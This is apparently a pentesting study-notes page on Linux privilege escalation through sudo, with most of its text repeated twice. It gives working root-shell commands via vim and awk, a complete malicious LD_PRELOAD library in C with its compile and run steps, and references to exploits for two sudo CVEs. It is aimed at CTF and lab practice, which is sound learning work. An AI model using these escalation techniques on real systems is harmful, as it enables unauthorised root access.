Sudo

Sudo Shell Escaping

sudo -l will show us commands delegated to our user. See example of possible output below
With the result of the command we can then check out on GTFOBins for comprehensive ways to escalate

Vim

Vim on Gtfobins the section of interest for us here is the following one:
Let's try this command sudo vim -c ':!/bin/sh'
It works right away

awk

Awk on GTFOBins the section of interest for us here is the following one:
So let's try this sudo awk 'BEGIN {system("/bin/sh")}'
It works

Intended Functionality

Example with Apache2

sudo -l we should see this: (root) NOPASSWD: /usr/sbin/apache2
Note: There are no entry on GTFOBins about apache2 but Google can do the trick ;) We could type something like "sudo apache2 privilege escalation"
Then we find an article that mentions this command to let us view system files.

Example with wget

See here an example with wget on veteransec's writeup of the HTB box called sunday.

LD_PRELOAD

sudo -l we should see something like this env_keep+=LD_PRELOAD
We are going to preload a user specific share library before any other share libraries
We need to write our malicious library that will privesc for us by changing our gid and uid to 0 (root). We put this code in a file named x.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

now we need to compile our library with gcc gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
And now we need to set it as our user's preloaded library sudo LD_PRELOAD=/tmp/x.so apache2

CVE-2019-14287

CVE-2019-14287 on exploit-db
This vulnerability allows us to change our user id, we need to have some sudo rights delegated to us this works very well with right on /bin/bash
Checkout here a writeup of an example of exploitation

CVE-2019-18634

CVE-2019-18634 exploit by saleemrashid
This one is a buffer overflow
If we see that we have password feedback on (we can try any sudo command to check for this), it means that the option pwfeedback is turned on in /etc/sudoers and that makes it vulnerable to buffer overflow
We basically just need to run the provided exploit. Pour pratice on this check out this box on trhyhackme

Resources

PreviousPassword and file permission NextSUID

Last updated 2 years ago

Sudo Shell Escaping

sudo -l will show us commands delegated to our user. See example of possible output below

With the result of the command we can then check out on GTFOBins for comprehensive ways to escalate

Vim

Vim on Gtfobins the section of interest for us here is the following one:

Let's try this command sudo vim -c ':!/bin/sh'

It works right away

awk

Awk on GTFOBins the section of interest for us here is the following one:

So let's try this sudo awk 'BEGIN {system("/bin/sh")}'

It works

Intended Functionality

Example with Apache2

sudo -l we should see this: (root) NOPASSWD: /usr/sbin/apache2

Note: There are no entry on GTFOBins about apache2 but Google can do the trick ;) We could type something like "sudo apache2 privilege escalation"

Then we find an article that mentions this command to let us view system files.

Example with wget

See here an example with wget on veteransec's writeup of the HTB box called sunday.

LD_PRELOAD

sudo -l we should see something like this env_keep+=LD_PRELOAD

We are going to preload a user specific share library before any other share libraries

We need to write our malicious library that will privesc for us by changing our gid and uid to 0 (root). We put this code in a file named x.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

now we need to compile our library with gcc gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles

And now we need to set it as our user's preloaded library sudo LD_PRELOAD=/tmp/x.so apache2

We should be root

CVE-2019-18634

CVE-2019-18634 exploit by saleemrashid

This one is a buffer overflow

If we see that we have password feedback on (we can try any sudo command to check for this), it means that the option pwfeedback is turned on in /etc/sudoers and that makes it vulnerable to buffer overflow

We basically just need to run the provided exploit. Pour pratice on this check out this box on trhyhackme